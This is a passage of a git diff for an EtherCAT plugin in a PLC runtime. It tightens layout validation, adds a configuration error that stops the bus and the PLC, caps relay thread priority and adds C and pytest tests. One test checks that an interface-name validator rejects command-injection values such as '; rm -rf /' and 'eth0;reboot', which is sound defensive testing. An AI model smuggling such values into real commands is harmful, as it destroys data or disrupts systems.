(check_duplicates(map, mm, me, path, err, err_size) != 0) + goto done; mm->entry_count++; } } @@ -265,10 +307,13 @@ static const cJSON *find_layout_master(const cJSON *layout, const char *name) return NULL; } -static const cJSON *find_layout_entry(const cJSON *lm, const ecat_iomap_entry_t *me) +/* The layout entry for @p me; *matches counts every entry with its key. */ +static const cJSON *find_layout_entry(const cJSON *lm, const ecat_iomap_entry_t *me, int *matches) { const cJSON *entries = cJSON_GetObjectItemCaseSensitive(lm, "entries"); + const cJSON *found = NULL; const cJSON *e; + *matches = 0; cJSON_ArrayForEach(e, entries) { const cJSON *slave = cJSON_GetObjectItemCaseSensitive(e, "slave"); @@ -276,10 +321,23 @@ static const cJSON *find_layout_entry(const cJSON *lm, const ecat_iomap_entry_t const cJSON *sub = cJSON_GetObjectItemCaseSensitive(e, "subindex"); uint16_t idx = 0; if (cJSON_IsNumber(slave) && slave->valueint == me->slave && parse_hex16(index, &idx) == 0 && - idx == me->index && cJSON_IsNumber(sub) && sub->valueint == me->subindex) - return e; + idx == me->index && cJSON_IsNumber(sub) && sub->valueint == me->subindex) { + if (found == NULL) + found = e; + (*matches)++; + } } - return NULL; + return found; +} + +/* A process image size from the layout: a number from 0 to what one data frame carries. */ +static int read_image_bytes(const cJSON *lm, const char *field, uint32_t *out) +{ + const cJSON *v = cJSON_GetObjectItemCaseSensitive(lm, field); + if (!cJSON_IsNumber(v) || v->valuedouble < 0 || v->valuedouble > EDL_MAX_PAYLOAD) + return -1; + *out = (uint32_t)v->valuedouble; + return 0; } int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime_args_t *args, @@ -298,7 +356,7 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime const cJSON *ready = cJSON_GetObjectItemCaseSensitive(lm, "ready"); if (!cJSON_IsNumber(idx) || idx->valueint < 0 || idx->valueint >= ECAT_IOMAP_MAX_MASTERS) { snprintf(err, err_size, "master '%s': invalid index in layout", mm->name); - return -1; + return ECAT_IOMAP_CONFIG_ERROR; } if (!cJSON_IsTrue(ready)) { snprintf(out->not_ready[out->not_ready_count++], ECAT_IOMAP_NAME_LEN, "%s", mm->name); @@ -309,22 +367,34 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime if (bm->active) { snprintf(err, err_size, "master '%s': layout index %d is bound twice", mm->name, idx->valueint); - return -1; + return ECAT_IOMAP_CONFIG_ERROR; } bm->active = true; - bm->output_bytes = - (uint32_t)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(lm, "output_bytes")); - bm->input_bytes = - (uint32_t)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(lm, "input_bytes")); + if (read_image_bytes(lm, "output_bytes", &bm->output_bytes) != 0 || + read_image_bytes(lm, "input_bytes", &bm->input_bytes) != 0) { + snprintf(err, err_size, + "master '%s': the layout's process image size is missing or larger than the " + "%d bytes a data frame carries", + mm->name, EDL_MAX_PAYLOAD); + return ECAT_IOMAP_CONFIG_ERROR; + } for (int ei = 0; ei < mm->entry_count; ei++) { const ecat_iomap_entry_t *me = &mm->entries[ei]; - const cJSON *le = find_layout_entry(lm, me); + int matches = 0; + const cJSON *le = find_layout_entry(lm, me, &matches); if (le == NULL) { snprintf(err, err_size, "%s (master '%s', slave %d, 0x%04X:%u) has no matching process data entry", me->iec_location, mm->name, me->slave, me->index, me->subindex); - return -1; + return ECAT_IOMAP_CONFIG_ERROR; + } + if (matches > 1) { + snprintf(err, err_size, + "%s (master '%s'): the layout lists slave %d, 0x%04X:%u in %d PDOs, so the " + "mapping cannot tell which one", + me->iec_location, mm->name, me->slave, me->index, me->subindex, matches); + return ECAT_IOMAP_CONFIG_ERROR; } const cJSON *dir = cJSON_GetObjectItemCaseSensitive(le, "direction"); int bit_offset = (int)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(le, "bit_offset")); @@ -334,23 +404,23 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime snprintf(err, err_size, "%s (slave %d, 0x%04X:%u) is %s data but mapped to %s", me->iec_location, me->slave, me->index, me->subindex, is_output ? "output" : "input", me->loc.direction == IEC_DIR_OUTPUT ? "%Q" : "%I"); - return -1; + return ECAT_IOMAP_CONFIG_ERROR; } if (bit_length != iec_size_bits(me->loc.size)) { snprintf(err, err_size, "%s (slave %d, 0x%04X:%u) is %d bits wide but the location holds %d", me->iec_location, me->slave, me->index, me->subindex, bit_length, iec_size_bits(me->loc.size)); - return -1; + return ECAT_IOMAP_CONFIG_ERROR; } uint32_t region_bits = 8u * (is_output ? bm->output_bytes : bm->input_bytes); if (bit_offset < 0 || (uint32_t)(bit_offset + bit_length) > region_bits) { snprintf(err, err_size, "%s: layout offset out of range", me->iec_location); - return -1; + return ECAT_IOMAP_CONFIG_ERROR; } if (me->loc.byte_index < 0 || me->loc.byte_index >= args->buffer_size) { snprintf(err, err_size, "%s exceeds the image table size (%d)", me->iec_location, args->buffer_size); - return -1; + return ECAT_IOMAP_CONFIG_ERROR; } ecat_xfer_t x = { @@ -365,7 +435,7 @@ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime if (*count >= ECAT_IOMAP_MAX_ENTRIES) { snprintf(err, err_size, "master '%s' has more than %d %s entries", mm->name, ECAT_IOMAP_MAX_ENTRIES, is_output ? "output" : "input"); - return -1; + return ECAT_IOMAP_CONFIG_ERROR; } if (is_output) { if (x.plc_ptr == NULL) @@ -451,6 +521,8 @@ void ecat_iomap_publish_inputs(const ecat_bound_master_t *m, const uint8_t *payl void ecat_iomap_collect_outputs(const ecat_bound_master_t *m, uint8_t *payload, size_t len) { + if (len > EDL_MAX_PAYLOAD) + return; memset(payload, 0, len); if (len < m->output_bytes) return; diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h index 6bbd0004..f96a28ed 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h @@ -27,6 +27,9 @@ /** Highest byte index a location may use; the runtime's journal indexes are 16-bit. */ #define ECAT_IOMAP_MAX_BYTE_INDEX 65535 +/* ecat_iomap_bind result: the mapping cannot bind to this layout, so retrying cannot help. */ +#define ECAT_IOMAP_CONFIG_ERROR (-2) + typedef enum { IEC_SIZE_BIT, IEC_SIZE_BYTE, IEC_SIZE_WORD, IEC_SIZE_DWORD, IEC_SIZE_LWORD } iec_size_t; typedef enum { IEC_DIR_INPUT, IEC_DIR_OUTPUT } iec_dir_t; @@ -105,6 +108,10 @@ int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_s * * @return 0 on success, -1 on failure (including when no mapped master is operational). */ +/** + * Join the mapping with EtherDOG's layout. Returns 0, -1 when a mapped master is missing or not + * operational yet, or ECAT_IOMAP_CONFIG_ERROR when the mapping cannot bind to this layout. + */ int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime_args_t *args, ecat_bound_map_t *out, char *err, size_t err_size); diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c index 17e6d7e8..57b484ae 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c @@ -36,8 +36,13 @@ #include "plugin_logger.h" #include "plugin_types.h" +/* link_up result: the program's configuration cannot run on this bus, so retrying cannot help. */ +#define LINK_CONFIG_ERROR (-3) + /* Used when the bus configuration gives no task_priority; EtherDOG's own default is 90. */ #define DEFAULT_RELAY_PRIORITY 90 +/* plc_state_manager reserves 99 for the dispatcher; workers stay at or below 98. */ +#define MAX_RELAY_PRIORITY 98 #define RECV_TIMEOUT_MS 100 #define SILENCE_RECONNECT_MS 1000 #define RECONNECT_BACKOFF_MS 1000 @@ -102,7 +107,7 @@ static int configure_bus(const edl_session_t *session, char *err, size_t err_siz if (strstr(e->valuestring, "running") == NULL) { snprintf(err, err_size, "EtherDOG rejected the bus configuration: %.300s", e->valuestring); - rc = -1; + rc = LINK_CONFIG_ERROR; } } else if (cJSON_IsArray(masters)) { int priority = 0; @@ -113,7 +118,9 @@ static int configure_bus(const edl_session_t *session, char *err, size_t err_siz if (cJSON_IsNumber(p) && p->valueint > priority) priority = p->valueint; } - g_relay_priority = priority >= 1 && priority <= 99 ? priority : DEFAULT_RELAY_PRIORITY; + g_relay_priority = priority < 1 ? DEFAULT_RELAY_PRIORITY + : priority > MAX_RELAY_PRIORITY ? MAX_RELAY_PRIORITY + : priority; } cJSON_Delete(root); free(resp); @@ -149,8 +156,10 @@ static int link_up(char *err, size_t err_size) char *resp = NULL; cJSON *layout = NULL; - if (configure_bus(&session, err, err_size) != 0) + int rc = configure_bus(&session, err, err_size); + if (rc != 0) goto fail; + rc = -1; if (call_json(&g_link, "start", &resp, START_TIMEOUT_MS) != 0) { snprintf(err, err_size, "no reply from EtherDOG to 'start'"); goto fail; @@ -171,8 +180,11 @@ static int link_up(char *err, size_t err_size) snprintf(err, err_size, "EtherDOG layout reply is not JSON"); goto fail; } - if (ecat_iomap_bind(&g_map, layout, &g_args, &g_bound, err, err_size) != 0) + int bind_rc = ecat_iomap_bind(&g_map, layout, &g_args, &g_bound, err, err_size); + if (bind_rc != 0) { + rc = bind_rc == ECAT_IOMAP_CONFIG_ERROR ? LINK_CONFIG_ERROR : -1; goto fail; + } warn_unmapped_masters(layout); for (int i = 0; i < g_bound.not_ready_count; i++) plugin_logger_warn(&g_logger, @@ -204,9 +216,15 @@ static int link_up(char *err, size_t err_size) fail: cJSON_Delete(layout); free(resp); + resp = NULL; + /* The bus was started for a program that cannot use it: stop it before giving up. */ + if (rc == LINK_CONFIG_ERROR && g_link.ctl_fd >= 0) { + call_json(&g_link, "stop", &resp, 10000); + free(resp); + } edl_close(&g_link); g_linked = false; - return -1; + return rc; } static void link_down(bool stop_bus) @@ -224,12 +242,22 @@ static void link_down(bool stop_bus) g_linked = false; } +/* Link setup (JSON parsing, allocation, blocking calls) runs at normal scheduling. */ +static void drop_relay_priority(void) +{ + struct sched_param sp = { .sched_priority = 0 }; + int rc = pthread_setschedparam(pthread_self(), SCHED_OTHER, &sp); + if (rc != 0) + plugin_logger_warn(&g_logger, "relay: cannot return to SCHED_OTHER: %s", strerror(rc)); +} + static void apply_relay_priority(void) { struct sched_param sp = { .sched_priority = g_relay_priority }; - if (pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp) != 0) + int rc = pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp); + if (rc != 0) plugin_logger_warn(&g_logger, "relay: SCHED_FIFO(%d) unavailable: %s", g_relay_priority, - strerror(errno)); + strerror(rc)); } /* Logs a master's bus state change; the program keeps running on the last inputs. */ @@ -251,22 +279,57 @@ static void track_bus_state(int master, uint8_t flags) } } +static uint64_t now_ms(void) +{ + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return (uint64_t)ts.tv_sec * 1000u + (uint64_t)ts.tv_nsec / 1000000u; +} + +/* The first bound master that has sent no valid frame for SILENCE_RECONNECT_MS, or -1. */ +static int silent_master(const uint64_t *last_rx, uint64_t now) +{ + for (int i = 0; i < ECAT_IOMAP_MAX_MASTERS; i++) + if (g_bound.masters[i].active && now - last_rx[i] >= SILENCE_RECONNECT_MS) + return i; + return -1; +} + +/* A configuration that cannot bind will not bind on retry: stop the PLC with the reason. */ +static void fail_configuration(const char *err) +{ + plugin_logger_error(&g_logger, "EtherCAT configuration error: %s", err); + if (g_args.request_plc_stop) { + char reason[600]; + snprintf(reason, sizeof(reason), "EtherCAT configuration error: %s", err); + g_args.request_plc_stop(reason); + } +} + static void *relay_thread(void *arg) { (void)arg; pthread_setname_np(pthread_self(), "ecat-relay"); - apply_relay_priority(); + bool realtime = false; uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; uint8_t outputs[EDL_MAX_PAYLOAD]; - int silent_ms = 0; + uint64_t last_rx[ECAT_IOMAP_MAX_MASTERS] = { 0 }; char err[512]; char last_err[512] = ""; bool reported = false; while (atomic_load(&g_running)) { if (!g_linked) { + if (realtime) { + drop_relay_priority(); + realtime = false; + } int rc = link_up(err, sizeof(err)); + if (rc == LINK_CONFIG_ERROR) { + fail_configuration(err); + break; + } if (rc != 0) { /* Each distinct reason once */ if (strcmp(err, last_err) != 0) { @@ -283,8 +346,11 @@ static void *relay_thread(void *arg) last_err[0] = '\0'; plugin_logger_info(&g_logger, "EtherDOG link %s", reported ? "restored" : "up"); reported = false; - silent_ms = 0; + uint64_t now = now_ms(); + for (int i = 0; i < ECAT_IOMAP_MAX_MASTERS; i++) + last_rx[i] = now; apply_relay_priority(); + realtime = true; } int master = 0; @@ -293,23 +359,27 @@ static void *relay_thread(void *arg) size_t len = 0; int rc = edl_recv_inputs(&g_link, frame, sizeof(frame), RECV_TIMEOUT_MS, &master, &flags, &payload, &len); - if (rc <= 0) { - silent_ms += RECV_TIMEOUT_MS; - if (rc < 0 || silent_ms >= SILENCE_RECONNECT_MS) { + const ecat_bound_master_t *m = rc > 0 ? &g_bound.masters[master] : NULL; + if (m != NULL && m->active) + last_rx[master] = now_ms(); + + int silent = rc < 0 ? -1 : silent_master(last_rx, now_ms()); + if (rc < 0 || silent >= 0) { + if (rc < 0) plugin_logger_warn(&g_logger, - "EtherCAT link to EtherDOG lost (%s); inputs keep their last " + "EtherCAT link to EtherDOG lost (socket error); inputs keep " + "their last values, reconnecting"); + else + plugin_logger_warn(&g_logger, + "EtherCAT master %d sent no data for 1 s; inputs keep their last " "values, reconnecting", - rc < 0 ? "socket error" : "no data for 1 s"); - link_down(false); - reported = true; - } + silent); + link_down(false); + reported = true; continue; } - silent_ms = 0; - - const ecat_bound_master_t *m = &g_bound.masters[master]; - if (!m->active) - continue; /* unmapped (warned at link up); EtherDOG holds its outputs at zero */ + if (m == NULL || !m->active) + continue; /* no frame, or unmapped (warned at link up); EtherDOG holds its outputs at zero */ track_bus_state(master, flags); if (flags & EDL_FLAG_VALID) @@ -378,8 +448,9 @@ int start_loop(void) /* The relay brings the link up and retries until EtherDOG is ready */ atomic_store(&g_running, true); - if (pthread_create(&g_relay, NULL, relay_thread, NULL) != 0) { - plugin_logger_error(&g_logger, "cannot create relay thread: %s", strerror(errno)); + int rc = pthread_create(&g_relay, NULL, relay_thread, NULL); + if (rc != 0) { + plugin_logger_error(&g_logger, "cannot create relay thread: %s", strerror(rc)); atomic_store(&g_running, false); return -1; } diff --git a/docs/ETHERCAT.md b/docs/ETHERCAT.md index 42c45eaa..c919cddd 100644 --- a/docs/ETHERCAT.md +++ b/docs/ETHERCAT.md @@ -57,9 +57,14 @@ So the runtime exchanges data with EtherDOG once per bus cycle. On an SLM-RP4 wi ## Failure behaviour -- **EtherDOG exits:** the webserver restarts it with backoff and loads the busconfig again. The plugin notices the silence within 1 s and reconnects without restarting `plc_main`. Meanwhile inputs keep their last values. +- **EtherDOG exits:** the webserver restarts it with backoff and loads the busconfig again. The plugin notices within 1 s that a mapped master has sent no data, and reconnects without restarting `plc_main`. Meanwhile inputs keep their last values. - **The client goes quiet for 100 ms:** EtherDOG drives the outputs to zero. -- **A mapping entry has no matching PDO entry, or the direction or width differs:** the plugin fails to start and names the entry. +- **The mapping cannot bind to the bus:** the plugin stops the bus and the PLC, and the error names the entry. Causes: + - an entry has no matching PDO entry, or its direction or width differs; + - one process data entry, or one IEC location, is mapped twice; + - the layout lists the same entry in more than one PDO; + - a process image is larger than the 4096 bytes a data frame carries; + - EtherDOG rejects the bus configuration. ## Building EtherDOG diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py index 14884ce0..49ed30fe 100644 --- a/tests/pytest/discovery/test_etherdog_manager.py +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -311,3 +311,95 @@ def test_interface_names_accept_linux_and_npcap_devices() -> None: assert not _validate_interface_name(r"\Device\NPF_{x}; rm -rf /")[0] assert not _validate_interface_name("a" * 16)[0] assert not _validate_interface_name("eth0;reboot")[0] + + +# --- errors returned to API clients carry no internal detail ------------------------------- + + +def test_missing_binary_error_hides_the_path(run_dir: Path) -> None: + manager = EtherDogManager(binary=str(run_dir / "secret" / "etherdog"), run_dir=run_dir) + manager.start() + error = manager.plugin_style_command({"command": "status"}, 1.0)["error"] + assert ( + error == etherdog_manager.PUBLIC_MESSAGES[etherdog_manager.EtherDogErrorKind.NOT_INSTALLED] + ) + assert "secret" not in error + assert "secret" in manager.disabled_reason # the detail stays for the log + + +def test_unstartable_binary_error_hides_the_os_error(run_dir: Path) -> None: + binary = run_dir / "etherdog-bin" + binary.write_text("") # present but not executable + manager = EtherDogManager(binary=str(binary), run_dir=run_dir) + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + error = manager.plugin_style_command({"command": "status"}, 1.0)["error"] + assert error == "EtherDOG cannot be started" + assert "Errno" not in error and str(run_dir) not in error + + +def test_unreachable_error_hides_the_socket_error(run_dir: Path) -> None: + manager = _manager(run_dir) # installed, nothing listening + error = manager.plugin_style_command({"command": "status"}, 1.0)["error"] + assert error == "EtherDOG is not reachable" + + +def test_unknown_failure_gets_the_default_message() -> None: + assert ( + EtherDogUnavailable("anything internal").public_message + == etherdog_manager.DEFAULT_PUBLIC_MESSAGE + ) + + +def test_npcap_reason_is_shown_as_is(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "IS_WINDOWS", True) + manager = _fake_binary( + run_dir, "echo 'wpcap.dll: cannot open shared object file' >&2; exit 127" + ) + manager.start() + assert _wait_for(lambda: manager.disabled_reason is not None) + error = manager.plugin_style_command({"command": "status"}, 1.0)["error"] + assert error == etherdog_manager.NPCAP_REASON + + +# --- supervisor lifecycle ------------------------------------------------------------------- + + +def test_second_start_does_not_start_a_second_supervisor(run_dir: Path, monkeypatch) -> None: + monkeypatch.setattr(etherdog_manager, "READY_TIMEOUT_S", 0.2) + manager = _fake_binary(run_dir, "exec sleep 30") + manager.start() + try: + assert _wait_for(lambda: _launches(run_dir) == 1) + first = manager._monitor + manager.start() + assert manager._monitor is first + time.sleep(0.5) + assert _launches(run_dir) == 1 + finally: + manager._running = False + if manager._process is not None: + manager._process.kill() + + +def test_stop_during_leftover_cleanup_spawns_nothing(run_dir: Path, monkeypatch) -> None: + cleanup_started = threading.Event() + release_cleanup = threading.Event() + + def slow_cleanup(self: EtherDogManager) -> None: + cleanup_started.set() + release_cleanup.wait(5) + + monkeypatch.setattr(EtherDogManager, "_kill_leftovers", slow_cleanup) + manager = _fake_binary(run_dir, "exec sleep 30") + manager.start() + assert cleanup_started.wait(5) + stopper = threading.Thread(target=manager.stop) + stopper.start() + time.sleep(0.2) + release_cleanup.set() + stopper.join(10) + assert not stopper.is_alive() + time.sleep(0.5) + assert _launches(run_dir) == 0 + assert manager._process is None diff --git a/tests/pytest/restapi/test_ethercat_upload.py b/tests/pytest/restapi/test_ethercat_upload.py index be9aa77a..31232bff 100644 --- a/tests/pytest/restapi/test_ethercat_upload.py +++ b/tests/pytest/restapi/test_ethercat_upload.py @@ -144,3 +144,15 @@ def test_upload_with_the_plc_stopped_sends_no_stop( assert result["UploadFileFail"] == "" assert runtime.calls == [] + + +def test_a_second_upload_is_refused_while_one_is_in_progress(busconfig_calls) -> None: + from webserver import app as app_module + + assert app_module._upload_lock.acquire(blocking=False) + try: + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM"})) + finally: + app_module._upload_lock.release() + assert result["UploadFileFail"] == "Another upload is in progress, please wait" + assert busconfig_calls == [] diff --git a/tests/test_ethercat_iomap.c b/tests/test_ethercat_iomap.c index b679a435..d4a16def 100644 --- a/tests/test_ethercat_iomap.c +++ b/tests/test_ethercat_iomap.c @@ -164,7 +164,7 @@ void test_bind_fails_on_missing_entry(void) char err[256] = ""; int rc = bind_mapping("{\"slave\":2,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX0.0\"}", err, sizeof(err)); - TEST_ASSERT_EQUAL_INT(-1, rc); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); TEST_ASSERT_NOT_NULL(strstr(err, "no matching process data entry")); } @@ -173,7 +173,7 @@ void test_bind_fails_on_direction_mismatch(void) char err[256] = ""; int rc = bind_mapping("{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%QX0.0\"}", err, sizeof(err)); - TEST_ASSERT_EQUAL_INT(-1, rc); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); TEST_ASSERT_NOT_NULL(strstr(err, "input data")); } @@ -182,7 +182,7 @@ void test_bind_fails_on_width_mismatch(void) char err[256] = ""; int rc = bind_mapping("{\"slave\":1,\"index\":\"0x6010\",\"subindex\":1,\"iec_location\":\"%IB0\"}", err, sizeof(err)); - TEST_ASSERT_EQUAL_INT(-1, rc); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); TEST_ASSERT_NOT_NULL(strstr(err, "16 bits")); } @@ -309,8 +309,8 @@ static void write_mapping_with(int count) TEST_ASSERT_NOT_NULL(fp); fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":["); for (int i = 0; i < count; i++) - fprintf(fp, "%s{\"slave\":1,\"index\":\"0x6000\",\"subindex\":%d,\"iec_location\":\"%%IW%d\"}", - i ? "," : "", i % 256, i); + fprintf(fp, "%s{\"slave\":%d,\"index\":\"0x6000\",\"subindex\":%d,\"iec_location\":\"%%IW%d\"}", + i ? "," : "", 1 + i / 256, i % 256, i); fprintf(fp, "]}]}"); fclose(fp); } @@ -326,3 +326,107 @@ void test_load_accepts_the_entry_limit_and_rejects_one_more(void) TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); TEST_ASSERT_NOT_NULL(strstr(err, "more than 2048 entries")); } + +/* --- review: image sizes and duplicates ----------------------------------------------------- */ + +static int bind_layout(const char *layout_text, const char *entries, char *err, size_t err_size) +{ + write_mapping(entries); + TEST_ASSERT_EQUAL_INT(0, ecat_iomap_load(TMPFILE, &map, err, err_size)); + cJSON *layout = cJSON_Parse(layout_text); + TEST_ASSERT_NOT_NULL(layout); + int rc = ecat_iomap_bind(&map, layout, &args, &bound, err, err_size); + cJSON_Delete(layout); + return rc; +} + +#define ONE_INPUT "{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%IX0.0\"}" +#define LAYOUT_SIZES(out, in) \ + "{\"masters\":[{\"index\":0,\"name\":\"m0\",\"ready\":true," out in "\"entries\":[" \ + "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," \ + "\"bit_offset\":0,\"bit_length\":1}]}]}" + +void test_bind_rejects_an_image_larger_than_a_data_frame(void) +{ + char err[256] = ""; + int rc = bind_layout(LAYOUT_SIZES("\"output_bytes\":4097,", "\"input_bytes\":1,"), ONE_INPUT, err, + sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "4096 bytes")); + rc = bind_layout(LAYOUT_SIZES("\"output_bytes\":0,", "\"input_bytes\":8192,"), ONE_INPUT, err, + sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); +} + +void test_bind_rejects_a_missing_image_size(void) +{ + char err[256] = ""; + int rc = bind_layout(LAYOUT_SIZES("", "\"input_bytes\":1,"), ONE_INPUT, err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); +} + +void test_bind_accepts_an_image_of_exactly_one_data_frame(void) +{ + char err[256] = ""; + int rc = bind_layout(LAYOUT_SIZES("\"output_bytes\":4096,", "\"input_bytes\":4096,"), ONE_INPUT, + err, sizeof(err)); + TEST_ASSERT_EQUAL_INT_MESSAGE(0, rc, err); +} + +void test_collect_outputs_refuses_a_length_beyond_a_data_frame(void) +{ + uint8_t payload[8] = { 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA }; + ecat_bound_master_t m; + memset(&m, 0, sizeof(m)); + ecat_iomap_collect_outputs(&m, payload, 8192); + TEST_ASSERT_EQUAL_HEX8(0xAA, payload[0]); +} + +void test_load_rejects_a_process_data_entry_mapped_twice(void) +{ + char err[256] = ""; + write_mapping("{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX0.0\"}," + "{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX1.0\"}"); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "mapped twice: %QX0.0 and %QX1.0")); +} + +void test_load_rejects_a_location_mapped_twice(void) +{ + char err[256] = ""; + write_mapping("{\"slave\":1,\"index\":\"0x7000\",\"subindex\":1,\"iec_location\":\"%QX0.0\"}," + "{\"slave\":1,\"index\":\"0x7010\",\"subindex\":1,\"iec_location\":\"%qx0.0\"}"); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "is mapped twice")); +} + +void test_load_rejects_a_location_mapped_twice_across_masters(void) +{ + char err[256] = ""; + FILE *fp = fopen(TMPFILE, "w"); + fputs("{\"version\":1,\"masters\":[" + "{\"name\":\"m0\",\"entries\":[{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1," + "\"iec_location\":\"%IW2\"}]}," + "{\"name\":\"m1\",\"entries\":[{\"slave\":1,\"index\":\"0x6000\",\"subindex\":1," + "\"iec_location\":\"%IW2\"}]}]}", + fp); + fclose(fp); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "master 'm0'")); + TEST_ASSERT_NOT_NULL(strstr(err, "master 'm1'")); +} + +void test_bind_rejects_an_entry_the_layout_lists_in_two_pdos(void) +{ + char err[256] = ""; + int rc = bind_layout( + "{\"masters\":[{\"index\":0,\"name\":\"m0\",\"ready\":true,\"output_bytes\":0," + "\"input_bytes\":2,\"entries\":[" + "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":0,\"bit_length\":1}," + "{\"slave\":1,\"pdo\":\"0x1a01\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":8,\"bit_length\":1}]}]}", + ONE_INPUT, err, sizeof(err)); + TEST_ASSERT_EQUAL_INT(ECAT_IOMAP_CONFIG_ERROR, rc); + TEST_ASSERT_NOT_NULL(strstr(err, "in 2 PDOs")); +} diff --git a/tests/test_ethercat_relay.c b/tests/test_ethercat_relay.c index 7729f09e..d2b34d22 100644 --- a/tests/test_ethercat_relay.c +++ b/tests/test_ethercat_relay.c @@ -40,8 +40,25 @@ static const char *LAYOUT = "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," "\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\",\"name\":\"In1\"}]}]}"; +/* m0 mapped, m1 running in EtherDOG but absent from the mapping. */ +static const char *LAYOUT_TWO = + "{\"status\":\"success\",\"masters\":[" + "{\"index\":0,\"name\":\"m0\",\"state\":\"OPERATIONAL\",\"ready\":true,\"output_bytes\":1," + "\"input_bytes\":1,\"entries\":[{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\"," + "\"subindex\":1,\"direction\":\"input\",\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\"," + "\"name\":\"In1\"}]}," + "{\"index\":1,\"name\":\"m1\",\"state\":\"OPERATIONAL\",\"ready\":true,\"output_bytes\":1," + "\"input_bytes\":1,\"entries\":[]}]}"; + static char ctl_path[108], data_path[108], session_path[128], mapping_path[128]; +/* Fake EtherDOG knobs, reset in setUp. */ +static const char *layout_reply; +static atomic_int feed_master; /* master index the input frames carry */ +static atomic_int feed_interval_us; /* time between valid frames */ +static atomic_int junk_per_frame; /* malformed datagrams sent after each valid frame */ +static atomic_int configure_priority; /* task_priority in the configure reply */ + /* --- fake EtherDOG ----------------------------------------------------------------------- */ static int listen_fd = -1; @@ -63,12 +80,17 @@ static void handle(int fd, const char *line) reply(fd, "{\"status\":\"success\",\"name\":\"EtherDOG\"}"); } else if (strstr(line, "\"configure\"")) { atomic_fetch_add(&n_configure, 1); - reply(fd, "{\"status\":\"success\",\"masters\":[{\"index\":0,\"name\":\"m0\",\"task_priority\":50}]}"); + char text[160]; + snprintf(text, sizeof(text), + "{\"status\":\"success\",\"masters\":[{\"index\":0,\"name\":\"m0\"," + "\"task_priority\":%d}]}", + atomic_load(&configure_priority)); + reply(fd, text); } else if (strstr(line, "\"start\"")) { atomic_fetch_add(&n_start, 1); reply(fd, "{\"status\":\"success\",\"started\":1,\"total\":1}"); } else if (strstr(line, "\"layout\"")) { - reply(fd, LAYOUT); + reply(fd, layout_reply); } else if (strstr(line, "\"open_data\"")) { const char *ep = strstr(line, "unix:"); memset(&client_addr, 0, sizeof(client_addr)); @@ -81,8 +103,10 @@ static void handle(int fd, const char *line) char text[256]; snprintf(text, sizeof(text), "{\"status\":\"success\",\"masters\":[{\"index\":0,\"endpoint\":\"unix:%s\"," + 